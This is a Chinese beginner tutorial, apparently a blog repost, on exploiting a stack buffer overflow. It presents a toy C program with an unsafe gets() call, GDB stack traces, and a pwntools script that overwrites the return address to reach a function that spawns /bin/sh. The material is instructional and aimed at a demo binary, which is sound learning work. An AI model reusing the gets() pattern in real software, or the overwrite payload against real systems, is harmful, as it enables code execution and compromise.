当前位置: 首页 > news >正文

PWN入门之Stack Overflow

Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。

在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。

C语言程序

来分析劫持程序流的过程

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {char s[12];gets(s);puts(s);return;
}
int main(int argc, char **argv) {vulnerable();return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack

编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

图片

运行

从运行的角度看程序

图片

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。

我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。

但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

图片

从汇编的角度看程序

main函数的地址为0x080484BB

vulnerable函数的地址为0x08048494

success函数的地址为0x0804846B

plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。

main函数

图片

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。

success函数

图片

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。

用GDB进行调试

图片

在main函数中下一个断点,开始调试。

图片

进入到vulnerable函数

图片

push ebp
move ebp,esp
sub esp ,0x18在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c

这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。

在经过push ebp之后

图片

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP由 0xffffd05c变为了 0xffffd058

图片

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

图片

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

图片

现在ebp和esp指向同一位置,都为0xffffd058。

之后是sub esp,0x18

图片

EBP 0xffffd058

ESP 0xffffd040

至此栈空间开辟完成。

图片

再来分析gets和puts函数

0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
► 0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>

ebp-0x14=0xffffd058-0x14=0xffffd044

图片

get函数会请求键盘输入

图片

我们输入aaaaaaaabbbbbbbb

图片

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。

我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

图片

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

图片

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。

图片

图片

图片

单步调试vulnerable函数

进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebp,esp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp,0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp,0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move esp,ebp pop ebp
也就是说,把bp的值给sp,bp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

图片

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。

劫持程序流

第一步算距离

首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

图片

第二步用数据填充

0x14就是20个字符,用20个a进行填充。

图片

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。

##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

图片

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

图片

http://www.lryc.cn/news/341392.html

相关文章:

  • QT:label标签/进度条的使用
  • 网络初始化配置
  • 在Ubuntu上搭建并通过systemctl管理Minecraft Java版服务器
  • 【C++PCL】点云处理ESF描述符
  • 鸿蒙应用开发系列 篇二:鸿蒙系统开发工具与环境
  • “A”分心得:我的云计算HCIE学习之路
  • 现代信号处理8_递归的最小二乘(CSDN_20240505)
  • 2024年全国保密宣传教育月的主题是()。A.贯彻落实保密法。你我都是护密人B.国家利益高于一切,保密责任重于泰山C.筑牢保密防线,维护国家安全
  • 一个通过照片识别地理位置的应用
  • wordpress外贸独立站建站10要10不要
  • 搬运5款小众,无广告,实用性拉满的软件
  • TCP重传,滑动窗口,流量控制,拥塞控制
  • 云手机对出海企业有什么帮助?
  • Android Studio实现简单的自定义钟表
  • C语言 举例说明循环嵌套
  • 一、ESP32基础知识
  • 我希望未来10年,人工智能可以帮我解决这4件小事
  • 使用jdbc方式操作ClickHouse
  • 百面算法工程师 | 支持向量机——SVM
  • 关于YOLO8学习(一)环境搭建,官方检测模型部署到手机
  • 3.10设计模式——Template Method 模版方法模式(行为型)
  • SQL 基础 | UNION 用法介绍
  • 学习如何使用PyQt5实现notebook功能
  • Python氮氧甲烷乙烷乙烯丙烯气体和固体热力学模型计算
  • 2024-04-30 区块链-以太坊-相关文档
  • 你用过最好用的AI工具有哪些?
  • Amine-PEG-Amine,956496-54-1在生物成像、生物传感器等领域具有广泛的应用
  • 为什么深度学习中减小泛化误差称为“正则化(Regularization)”
  • 【Linux网络编程】2.套接字、网络字节序、IP地址转换函数
  • 代码签名证书的工作原理和申请流程